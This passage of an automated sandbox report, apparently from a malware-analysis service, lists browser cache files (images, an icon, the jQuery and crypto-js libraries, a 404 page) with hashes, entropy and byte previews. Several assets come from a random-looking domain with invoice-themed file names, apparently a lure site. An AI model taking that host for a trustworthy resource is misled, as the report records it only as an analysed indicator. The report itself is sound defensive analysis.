Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	810
Entropy (8bit):	7.187349544502698
Encrypted:	false
SSDEEP:	24:bUXUZng5LH6zfAHZburPWCGgooSplizJsiibiRAV:+L5THHZbubBHSpli1Kuy
MD5:	7395C0F4FF10EAED730BFEB5BC576351
SHA1:	530BD55C7133DC2E2EC09099F70401466FAEE30D
SHA-256:	34058A4C997349CD3C91A3BC59BCC82DD6920BD57A555B49875BF71EAE942E2C
SHA-512:	0C75EE8A73AD13AE5F3B095A1E126D5CDF9D20329AFF1374BB79A510146619B5A7D150F08AA61F8DEF1FB4158AB3A99DA79B02102623920E194E91FE5275BEDE
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....vIDATx...1n.A........W.p.X#A..].p.8.'.DH..".Ps...4..K.6".\|..yZk..%...J......................c...v..1.......3N..n=;....Yz..IXD...a.q...w.4M..wX.Z..R.../..4M..q./..Z..........a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......."BXD...a.!,".E......'K...n.a...........s.......i...k{Uk}...E........4M.R..9.....\__.(.\...Y.Qx...R....oV......D...%.6.,Q..(o...~...0.ok.o.\s.....M...8..s..\|.xb..=.%.6u.....mX.j[.a..}.%.>..........z.....R^......p..Xw:..7.4.....U.V...=.%.6u.....mX.j[.a..}.%.>t.....MX..K.a..?.%.>5.....lX..[.a.....v.=]z...................j..........IEND.B`.

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	330
Entropy (8bit):	5.464119121531775
Encrypted:	false
SSDEEP:	6:6v/lhPp0xH2plH0thAuikdUXphjhSZng5NDgFjbSIYtWHcjp:6v/7BYuWhAupUXpSZng5ClbH1HcN
MD5:	79CF1EFDBFAF6AFF7E32AD13BFA4BBED
SHA1:	0E07B7F718F59B81246DCD059D9DA90ACBE2DA60
SHA-256:	FEA8FBAEC75213E1AF8005EDFCDC94E7B5D7DCA6DDB4E262D66E4756BDA96D54
SHA-512:	E6A653C6C9052043AD8A5A3217647D1914460E2021C531474326FC2AF5F3CF4F9920812DB7BA97B0ECC543AA9B56D1C5408CE7995D634B7A1AB251D4AAD47DD2
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/logo-off-1.png
Preview:	.PNG........IHDR.....................sBIT.....O.....PLTEGpL.P".................tRNS.@..f....bKGD....H..._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....bIDATx...I..0.......R.B...#g5............................... .4..6..............................<kh.[[.O.....IEND.B`.

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	3716
Entropy (8bit):	7.86008072577244
Encrypted:	false
SSDEEP:	96:SKvJPPPPPB3f4jQ/x7UR9QG+2pJzuLZKbpVmoeT6p6//xdcmCPPPPPd:Xg0p7UR93+CckoXmY0mC
MD5:	C2DCB4821F20ACF4FB2BC036A4FD30A7
SHA1:	67C0AAD8FA08187ADED93059E1868D72D1F60EF4
SHA-256:	2D44C3B13C9057D5EF8DB356F47F29D0A7B79CCCE4A1140018352289CB304336
SHA-512:	1874376CAB836D91115B911BB303DD23B47E13CB0543254DED97D28DFD147F51AC50322D32C96FEB070FE1EBB450386426E2D88FAA7249A344B0227378A4DCAF
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx....p..y...y...$A....S..I.!.k.........M.a..$...4.t...4..?B'C;..fH...-..A.....YNM.3Ih..c.q3....,[.}...R.:..=...................RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..RJ)..R..i..N...}.F.CD......<.9... .3..t"z..43....y.3........FGG...Wt....x..ND.`.K........@...0..D......X.;J&......M.\|^R...1.......s....2.,.uW....l4.b..&.1w...~e.mo.:n.e"X.R..z.~..[m..d.&...j...D$i....,.uKD..$..y...7U...]H...`............-..`........O..ADG....}..'"K.........sZ+...c.\|......Z..;AG...w...\|A......If~.q.J.\.i+..a.s...&.!........)...qll.h+..v...\|>...F.1K....>".roo..O?........c6....{..^D....s....k.!.:X....C...l..@}....}..T=.R..F..".Gs]4.........qR.dI...u.+..1".Em#"......;m.....>".......g".;.Zm...:YG....AP6.......q.k+...l..v..m...0.l.ROO..vv.Y.z.f.=....l.H.^...;v..UW.\|>....1...f...}...V]..y.k....Ss...j.z]'....V....k.hg....

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	dropped
Size (bytes):	513
Entropy (8bit):	4.720499940334011
Encrypted:	false
SSDEEP:	12:t4BdU/uRqv6DLfBHKFWJCDLfBSU1pRXIFl+MJ4bADc:t4TU/uRff0EcfIU1XXU+t2c
MD5:	A9CC2824EF3517B6C4160DCF8FF7D410
SHA1:	8DB9AEBAD84CA6E4225BFDD2458FF3821CC4F064
SHA-256:	34F9DB946E89F031A80DFCA7B16B2B686469C9886441261AE70A44DA1DFA2D58
SHA-512:	AA3DDAB0A1CFF9533F9A668ABA4FB5E3D75ED9F8AFF8A1CAA4C29F9126D85FF4529E82712C0119D2E81035D1CE1CC491FF9473384D211317D4D00E0E234AD97F
Malicious:	false
Reputation:	low
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="24" height="24" viewBox="0 0 24 24"><title>assets</title><path d="M18,11.578v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944.594.594L7.617,11.578Z" fill="#404040"/><path d="M10.944,7.056l.594.594L7.617,11.578H18v.844H7.617l3.921,3.928-.594.594L6,12l4.944-4.944m0-.141-.071.07L5.929,11.929,5.858,12l.071.071,4.944,4.944.071.07.071-.07.594-.595.071-.07-.071-.071L7.858,12.522H18.1V11.478H7.858l3.751-3.757.071-.071-.071-.07-.594-.595-.071-.07Z" fill="#404040"/></svg>

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 128 x 128, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	330
Entropy (8bit):	5.464119121531775
Encrypted:	false
SSDEEP:	6:6v/lhPp0xH2plH0thAuikdUXphjhSZng5NDgFjbSIYtWHcjp:6v/7BYuWhAupUXpSZng5ClbH1HcN
MD5:	79CF1EFDBFAF6AFF7E32AD13BFA4BBED
SHA1:	0E07B7F718F59B81246DCD059D9DA90ACBE2DA60
SHA-256:	FEA8FBAEC75213E1AF8005EDFCDC94E7B5D7DCA6DDB4E262D66E4756BDA96D54
SHA-512:	E6A653C6C9052043AD8A5A3217647D1914460E2021C531474326FC2AF5F3CF4F9920812DB7BA97B0ECC543AA9B56D1C5408CE7995D634B7A1AB251D4AAD47DD2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.....................sBIT.....O.....PLTEGpL.P".................tRNS.@..f....bKGD....H..._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....bIDATx...I..0.......R.B...#g5............................... .4..6..............................<kh.[[.O.....IEND.B`.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5533
Entropy (8bit):	7.868367222778225
Encrypted:	false
SSDEEP:	96:SBXiPNWG31uPEy9ucfLxH70+O/depOauaLqnIJJGX5drnp26JS9MU0QRK:YiPNhFusMuALRg/UEaHLqaKdLp26JSGj
MD5:	2DC3BE48C823410906BFEE4FDFC9ACF7
SHA1:	53ECEC3CCE21DD1D12EC9DAAD1B720002CE5046B
SHA-256:	F2C40A63580308BF348C5E8EB9A0880238F5F207E228E0C091E83B1EFCBF979F
SHA-512:	C20BF2DA2B1BC67EF9B6D06FF73F01E987B5C0805DB2730DF21F485F17C73342824A64EE739962CD19B21BE511FE4CF060B0D1D67AB9059E765BE0BB2CDCEDD2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..y\|.....,..$H!$....I.d!.%.F..G..0!,.1.... .p...1.XC $...Z.`e.ty...uX........$....t..C.\|.Q.3..3....?....x~....+..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4..F..h4.....@S>.i....l.]...J.2..t....B.b..}.m[.i.t<.`............cL1...\|..7...Yub..Dt'".....c..t....U ...n.~.......` b..v"z....._.\|...e.!.8..n.!.a.B\..V[[[k.P..1....RJ!...p..r ....0.%..F..0..W..X.i.m{Y.Q..0.."........u\|...\|...!* ....~1.....B...w!b).w!.c.O..Q__..c.fL...n..!"B.-.7..F%..B.4.!..C..~":]JY....E.q1"..e3BT?.+.7b...b....5.....'~..........!.M^6DD.p......$6a..9O)uO.Q.#...0...!`..766.Y.h.`.az"....o........-...\|~....`z.eYa...MM.N..8../bT.a...?....W...IDw#b....._........?.".f....\|>o.@..2....p....] ...Q..*.Bt..=.1W_DD...,.vXT...e-..KDY??.8.0...-..0.K ....R..CHE...Z[[.u..]GF..b...d2.FkO..o.@.m..W..L...p...0~..?.#..I

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48316), with no line terminators
Category:	downloaded
Size (bytes):	48316
Entropy (8bit):	5.6346993394709
Encrypted:	false
SSDEEP:	768:J1Z4iiyfiD78x6l42SWRV4HC0o10LEnM9OT81agZnEpnS:vZYDc6lXJd1mZpZEdS
MD5:	2CA03AD87885AB983541092B87ADB299
SHA1:	1A17F60BF776A8C468A185C1E8E985C41A50DC27
SHA-256:	8E3B0117F4DF4BE452C0B6AF5B8F0A0ACF9D4ADE23D08D55D7E312AF22077762
SHA-512:	13C412BD66747822C6938926DE1C52B0D98659B2ED48249471EC0340F416645EA9114F06953F1AE5F177DB03A5D62F1FB5D321B2C4EB17F3A1C865B0A274DC5C
Malicious:	false
Reputation:	low
URL:	https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.1.1/crypto-js.min.js
Preview:	!function(t,e){"object"==typeof exports?module.exports=exports=e():"function"==typeof define&&define.amd?define([],e):t.CryptoJS=e()}(this,function(){var n,o,s,a,h,t,e,l,r,i,c,f,d,u,p,S,x,b,A,H,z,_,v,g,y,B,w,k,m,C,D,E,R,M,F,P,W,O,I,U=U\|\|function(h){var i;if("undefined"!=typeof window&&window.crypto&&(i=window.crypto),"undefined"!=typeof self&&self.crypto&&(i=self.crypto),!(i=!(i=!(i="undefined"!=typeof globalThis&&globalThis.crypto?globalThis.crypto:i)&&"undefined"!=typeof window&&window.msCrypto?window.msCrypto:i)&&"undefined"!=typeof global&&global.crypto?global.crypto:i)&&"function"==typeof require)try{i=require("crypto")}catch(t){}var r=Object.create\|\|function(t){return e.prototype=t,t=new e,e.prototype=null,t};function e(){}var t={},n=t.lib={},o=n.Base={extend:function(t){var e=r(this);return t&&e.mixIn(t),e.hasOwnProperty("init")&&this.init!==e.init\|\|(e.init=function(){e.$super.init.apply(this,arguments)}),(e.init.prototype=e).$super=this,e},create:function(){var t=this.extend();

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	6045
Entropy (8bit):	7.926283372142437
Encrypted:	false
SSDEEP:	96:SN6GUwXdd3Ghg6NV/QzZwfgY5WuSJtkZyV/QccgnbiiZc4WZW+nVl+3P:F7cdd32g6NVRgY5W5DkZyRQmzcFZWaw
MD5:	F18A5045E056A7E0049DA4993A534BD7
SHA1:	079E6A1E5705DA8DE19D3A1A87763A1E74B24ECE
SHA-256:	D1B8AC36F78215154031B551101879964A09A9E3C2CE4C7E89CCFB59EAFD9879
SHA-512:	D72762C1CD88169BE6BD7738AB9F5E1C0D7373334B054CF416D5F23E61D887446C5AB2481046D9EE6B4EF14B413D79A151969801ABEA7B1F99139971AB5064A2
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..{tT...3..ID4$.9.@.F.\.p......,.. t.....j......\P[{.^...B...^).Z..( .....&<2...R^I $....$..s...yN..k1{..7.o..g....m.f.p8.....(.D.....tUU..AH........Zwi%.K..@.... ..(.p...z<...\......[..9..[..03.B.\|f.....[.....&.}........D.....j.....UZZ.'..h.#...p.....\....f.(.....\|c.&3...bf.$i. ..0........D..3od.(.....+...V..af.OD9v............[L,..B.P..(..y. ....c.D.SU.W..mQ.....-.2.P(..(.,...Q..z,.......}!'''h..Hq.a.B.....'.H.[.MT.Q..%~....bZ.....s.A..3.@.5....xK.._.\|......H.:u...555..I..v.q(...(..R..Wi...8...2.0...~....".....\|o8i..1.UVV...K..A.n....1.GEQ<d........^I.....=.0.....{$I...^...z.e9....\|..:...L.s..;V0.\|....Fe..=....,?h....X%%%....0.4..n...(.....V.j.a...."z.@.+.m.0...g...^..V0..BD....Uc&..2..36++.S+..d.%..8...0;.T.eK0......nX.,.f.Dt..c%h.$"zS..'...T.[S.-.........e.93.1....$....~fF....7~....[A..

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	268381
Entropy (8bit):	5.072141999174343
Encrypted:	false
SSDEEP:	6144:UvD8eq9mPKl4OfKcknEHZciGhjZPdDwjdwTJFPk78vmAnhZSxwI14i:UE4OfcaZhfOeATG14i
MD5:	08C235D357750C657AC1DB7D1CF656A9
SHA1:	9257AFD2D46C3A189EC0D40A45722701D47E9CA5
SHA-256:	7BD80D06C01C0340C1B9159B9B4A197DB882CA18CBAC8E9B9AA025E68F998D40
SHA-512:	D62700E7A1FF41F9D6326CA024BA2BE1D391BC8FBB2AEAE0F427D74837899B230940BF7C2DF3D193F5300A68BB3686706D4C31328234B5CDA026A1BF52EF9E70
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-1.9.1.js
Preview:	/!. jQuery JavaScript Library v1.9.1. * http://jquery.com/. . Includes Sizzle.js. * http://sizzlejs.com/. . Copyright 2005, 2012 jQuery Foundation, Inc. and other contributors. * Released under the MIT license. * http://jquery.org/license. . Date: 2013-2-4. */.(function( window, undefined ) {..// Can't do this because several apps including ASP.NET trace.// the stack via arguments.caller.callee and Firefox dies if.// you try to trace through "use strict" call chains. (#13335).// Support: Firefox 18+.//"use strict";.var..// The deferred used on DOM ready..readyList,...// A central reference to the root jQuery(document)..rootjQuery,...// Support: IE<9..// For `typeof node.method` instead of `node.method !== undefined`..core_strundefined = typeof undefined,...// Use the correct document accordingly with window argument (sandbox)..document = window.document,..location = window.location,...// Map over jQuery in case of overwrite.._jQuery = window.jQuery,...// Map over the $ in c

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (611)
Category:	downloaded
Size (bytes):	27150
Entropy (8bit):	4.357340680151037
Encrypted:	false
SSDEEP:	384:6bamwIluB0sJQqCeSQup5szCUXAG0VVi82OgoKACZQQofNJXY3gW3:603Mp5If8WOmgW3
MD5:	46DD133EE00DC1BAE5E4EEBA7B88432F
SHA1:	8AF86A4AC91CE48C062216FB94A6E1D57618A19B
SHA-256:	9EB52EE46C7AB5EA4CA0982415DA99FDED1B7D7354F75E50847BDAE6CB44EB66
SHA-512:	CB49F9E3812E2C262AF374E79BD8905CB508A45BF2C2D6AF62EED85AF43770872486A55E9425882FEDA9FB3A57A317A3C18BE1E286ADAF0C76BE7F1B0DFA8474
Malicious:	false
Reputation:	low
URL:	https://pub-75eadb7757ac4bf2ab3de7c52d2a4895.r2.dev/favicon.ico
Preview:	<!DOCTYPE html>.<html lang="en">. <head>. <meta charset="UTF-8" />. <meta name="viewport" content="width=device-width, initial-scale=1.0" />. <link rel="icon" href="https://www.cloudflare.com/favicon.ico" />. <title>Not Found</title>. <style>. body {. font-family: system-ui;. font-weight: 300;. font-size: 1.25rem;. color: #36393a;. display: flex;. align-items: center;. justify-content: center;. }. main {. max-width: 1200px;. margin-top: 120px;. display: flex;. flex-wrap: wrap;. align-items: center;. justify-content: center;. }. #text {. max-width: 60%;. margin-left: 1rem;. margin-right: 1rem;. }. main > section > div {. margin-bottom: 3.25rem;. }. svg {. margin-left: 2rem;. }. @keyframes eye-1 {. 0% {. transform: translateX(0);. }. 10%,. 50% {. tr

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 108 x 24, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1552
Entropy (8bit):	7.728798860889317
Encrypted:	false
SSDEEP:	48:QpL5o5suk1KvI0wTsPIbCxl1IuysA5JOAmJ:QBu5XkEIvTsQAvxDAmJ
MD5:	862FA73C33D1B7F380A51B609E3C0766
SHA1:	1B602C442C1F87E2B00CA768D5F986FEE8E4EC2F
SHA-256:	994AC85AF4DB5A2B5F7CE72D4F49C6B1C18C6422C8E57E623A2873BD7599E404
SHA-512:	D3DB66B915BA7E0EA51DAA87CCCB93C9CFC3667E25EF744202EB0491ABA83FA2F274E985A8C0A86E2FE2C820835A82E0F8F11C0116CC9B4E0605789FF0C2CF83
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR...l.................sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....\IDATh..YM..6...Md..'....o.w......s.."....,.......vS....R..u..D..Dj..'....o3..#...\|....7..q$^o>.._8Z..g.....qj..x...}g..6..[.q<g....!.4M...I.SJ...s.~.8.p#..^.......yDD...;.R.^.W...Q.....PuuOB..r..:......UJ..('.~ ^&I2......0y.k_.B....\.33o....Z.)3..,+..q.C...[......]../_vR.=.!....r ...]...(...h..h...@...a@s.{..}.EQ.....^...=Y.w..9..o.L).9"..Z....U....b....@7..`.eY...Xk'.`.-...3...Y..J.Q ....N...V...)...M.k.:#).2....u].EQ.-D4r}....D4...f.-...@...{.4'.....c..0@..].....o.....GDS.WD.km..b....k...q...%R..f..3.@.4....v..R.y.$...[[.........BTh...q.%.`.~...<....A2....y#...P]}.....B.<Y.{.....D.+..?sk.AD9.)..VJ.<Y.;.\}km%..[ko...Z[......O...D...s"Z..U.$..j...zs.o...G...S.e.o(.....?..8..L.H.....[..;/...v-)e.w.y...e..."z.....z...xBDCf.y{.@k}..h....{tm...@...D..8r.1..r....9.......Eq.......d..!Y....pk.$N........

Chrome Cache Entry: 73

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1365 x 929, 8-bit/color RGB, non-interlaced
Category:	downloaded
Size (bytes):	344709
Entropy (8bit):	7.986399791376643
Encrypted:	false
SSDEEP:	6144:ErczQBdXj6CXhF6odztN0UyX1O7Pv0uQ7XZkL+oPTUjQPJc3ibXM6VZSYoYzSoSN:MczQHcM7ylwPvA7JG+o7UjSJc3ib8ccv
MD5:	ADC40A01466292A36F13E79C4BCE96D7
SHA1:	B3B457366DEE9627ACD75DD11EBBD3CECF30EEF8
SHA-256:	17ED1ABD0BC3AB387B4741F6C693A148A2EB2FBF6E13B69729E908BAC83E54F6
SHA-512:	EC12A82436378C4FC83474A37575A9B814DC2B226225A07A697BA78F7677C6719C4E265185EAC07A32072D6295B2FC17F10CDE75FF7820D47FEA90C0E5892F10
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/bg_invoice.png
Preview:	.PNG........IHDR...U.........y+......sBIT.....O...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-... .IDATx.....,Z.z......wV..j... ...;.Z.C..Q.%.7................8.............)..@DHl..e4..//.M..]._^_...e.-[.l......5[..@.j7.k...]..^.=".t..}V^...y'.w..]z{....._.#....O..2....dC.^....Ke..2..7...G..!v.F....=..\|>...\|>.....o...o.../oooo...x...q...,.S.G1..........z..H.o[.l.e.-.../...S.S.B=..D...l..n..O./..`../........D.PCA..c.....m=..[~.a..3...y.v...\|>..x.O=T4z.....x<.o........D.8........I....~._...)O..y..-[.l.e......X^..v...k6.....}..#...N.....-g.Bd!...x....3.._.?.stX3R.'eP....k. .T.MN.'.5....C.....!......E.~:..c.........Bv...Ns.....y.G....a...1Q.....x4.@.nTU..~o.?..i..g..g..e.-[.l...E.Zm.L.........O._.t0...^.e.).a.~.W.c...\8...:.`6....I..!l..W.B..YeG........D./...\|...w....A....Q......>......1YB...V.....G.w.$......<..o...1N...t.....[,.h...q..=....TD.DD.....!..@F..s9.....=.S.../...l.e.-[...Pb

Chrome Cache Entry: 74

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 506 x 303, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	29796
Entropy (8bit):	7.980058333789969
Encrypted:	false
SSDEEP:	768:uEV6Q9wDBC1MNazNsMYCUPwRGMSU6Ub1W:uKpiOZ7YCpRRXk
MD5:	210433A8774859368F3A7B86D125A2A7
SHA1:	408BACDDC39F12CAD285579C102FE4A629862D88
SHA-256:	9C6ADDFC339CE1C1D262290AB4CC2DE8D38D4B54B11A8E85AFD44FBB0ACC2561
SHA-512:	6CBF6492BBA0734ECE1B595743B7A251D3C98425A36D5BF87EBFAD17BE979A23ADEE556FB074EF6D284052F6412ACEDA4E179FB7DFA0BA1103610CC01113A1A3
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR......./.............sRGB....... .IDATx^.].XSI.=. M....T.`...X......}.]..}...e.k..{.(V...`...o&..)i/......H2s..s.yo..Xa.0.......C@.....2f.C.!..`.0...`D..!..`.0..."F......Lc.0.......#z..............^..W......vEa..(R...W.o.J.km..k`.e.2.......`D.7.Z.w..!n......T....@..M.GO.892?+.....`.0...#...4..]n....{.Z....b...h..l.,...B.5b.0...........Vs......T...r.Wy...(..Gg..r....>&$.S.G.D.......]...I..S.....v.....9S.!..`.......F.'y3g...]+.fai.....T.....).%!.....{.7.u}}+a..p(X..]!...C.!.....l....W.Y..=[..K.wt...v....mD.5...ii....W.....z#..0......D.....FV.w..,.T..............X.\|..\|.Let....F.d.W.Q.!..`....l...Wg..~.6./^..A.w..nE.}..`ff...S..p..>..!C.")).O.>E...9../?..+.b..H."p-R.N..X.h..&.!..`.h..6X...... ..33s..;Y...9u....c.w#..[^.suu...;%....W/.vymX<.2...`.0.4G....bx....C.vr+.5.I...h............8.".q...\|v...[/....C.jUY\..9.!..`......5.t..K...-.R.4h....i..[\.N...<y,0j.l...G.z..7....H....e..y..R.N..(\.(....[.RSR..........w.......x.

Chrome Cache Entry: 75

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	5421
Entropy (8bit):	7.930688904991097
Encrypted:	false
SSDEEP:	96:SUxJ4nAqKQCa02WVVGaMgWeRVJWiYcfb04mXYUwgPBh2RGKNpEP5O/:vD4nAqKQx02WVV8eRVyGbrUVhp4Ex4
MD5:	6F4395D60BFEA0E5AA9FB9E1945457AE
SHA1:	54124E723872C50889A119F95F31F84F9D092F3A
SHA-256:	930B3261C05DDF41566CA5906F3A5F91A437BF4DE2513A84D5995A8AA1AEC819
SHA-512:	1D682B2CDA1FB730C22A202181047379A8F74DFDFA265F2BDE9E14B5BFF9ADBE8FCE93897F78273A9639072E507DEC38A3C905C18ED694A02ECCB283C3C7130D
Malicious:	false
Reputation:	low
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-....yIDATx...pU...{.K..G09.@......P(b..[~.f.q..-T......Km..J..n.B..j...".f.."..168......{k.D.!.9..A.BrNr.......3...7..s..y....03E".R.c5M+%.R.c...^ .(.P........h+.v...I..&!D..&...!..40.1I....;..y.r[..03...%f...:.....@..C.0s.....!.w$I.8....jll,.B..`&....pY........0s..i.[RR...5.A....)... .X.....).../...w...C...\|o.H$2Q.;.y>....'IN..!..&I....$./.....M......!...; .C.....^...g.../.2.........DT...h!.m....JJJBn..._.KU...cf^. .m=.q..~.`.,..n...O.+....!~..w!}.......J.T..3<i.O?......?b....s[.Gi..A..V..V....S..Z.\..k..n...D..p.$I.zi..3.F.....7.!nr[.O9.`Y0...m!. ....Y.pxUgg.............W#..(...a......I..n..r-b.B.%.\.1.-L....)..m..8.........~......i.3...URRr..A.5V(.!....89n.......yN.{9f.P(4..^.0.13\B4...-**z....c).2.@.2.r.BM...B.o81...R.e.3. ....+........v.d....T..C... ..BQ.G....83..(.....3X..eY^i. ["...k.1

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 150 x 150, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	6045
Entropy (8bit):	7.926283372142437
Encrypted:	false
SSDEEP:	96:SN6GUwXdd3Ghg6NV/QzZwfgY5WuSJtkZyV/QccgnbiiZc4WZW+nVl+3P:F7cdd32g6NVRgY5W5DkZyRQmzcFZWaw
MD5:	F18A5045E056A7E0049DA4993A534BD7
SHA1:	079E6A1E5705DA8DE19D3A1A87763A1E74B24ECE
SHA-256:	D1B8AC36F78215154031B551101879964A09A9E3C2CE4C7E89CCFB59EAFD9879
SHA-512:	D72762C1CD88169BE6BD7738AB9F5E1C0D7373334B054CF416D5F23E61D887446C5AB2481046D9EE6B4EF14B413D79A151969801ABEA7B1F99139971AB5064A2
Malicious:	false
Reputation:	low
URL:	https://e3yj1d3rjni.tkllop.online/static/media/person_office.png
Preview:	.PNG........IHDR.............<.q.....sBIT....\|.d...._zTXtRaw profile type APP1.....JO.K-.LV((.O..I.R..c...K.K.D......04006..F@.9T(..........Y..)....O..h.-.....IDATx..{tT...3..ID4$.9.@.F.\.p......,.. t.....j......\P[{.^...B...^).Z..( .....&<2...R^I $....$..s...yN..k1{..7.o..g....m.f.p8.....(.D.....tUU..AH........Zwi%.K..@.... ..(.p...z<...\......[..9..[..03.B.\|f.....[.....&.}........D.....j.....UZZ.'..h.#...p.....\....f.(.....\|c.&3...bf.$i. ..0........D..3od.(.....+...V..af.OD9v............[L,..B.P..(..y. ....c.D.SU.W..mQ.....-.2.P(..(.,...Q..z,.......}!'''h..Hq.a.B.....'.H.[.MT.Q..%~....bZ.....s.A..3.@.5....xK.._.\|......H.:u...555..I..v.q(...(..R..Wi...8...2.0...~....".....\|o8i..1.UVV...K..A.n....1.GEQ<d........^I.....=.0.....{$I...^...z.e9....\|..:...L.s..;V0.\|....Fe..=....,?h....X%%%....0.4..n...(.....V.j.a...."z.@.+.m.0...g...^..V0..BD....Uc&..2..36++.S+..d.%..8...0;.T.eK0......nX.,.f.Dt..c%h.$"zS..'...T.[S.-.........e.93.1....$....~fF....7~....[A..

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1365 x 929, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	344709
Entropy (8bit):	7.986399791376643
Encrypted:	false
SSDEEP:	6144:ErczQBdXj6CXhF6odztN0UyX1O7Pv0uQ7XZkL+oPTUjQPJc3ibXM6VZSYoYzSoSN:MczQHcM7ylwPvA7JG+o7UjSJc3ib8ccv
MD5:	ADC40A01466292A36F13E79C4BCE96D7
SHA1:	B3B457366DEE9627ACD75DD11EBBD3CECF30EEF8
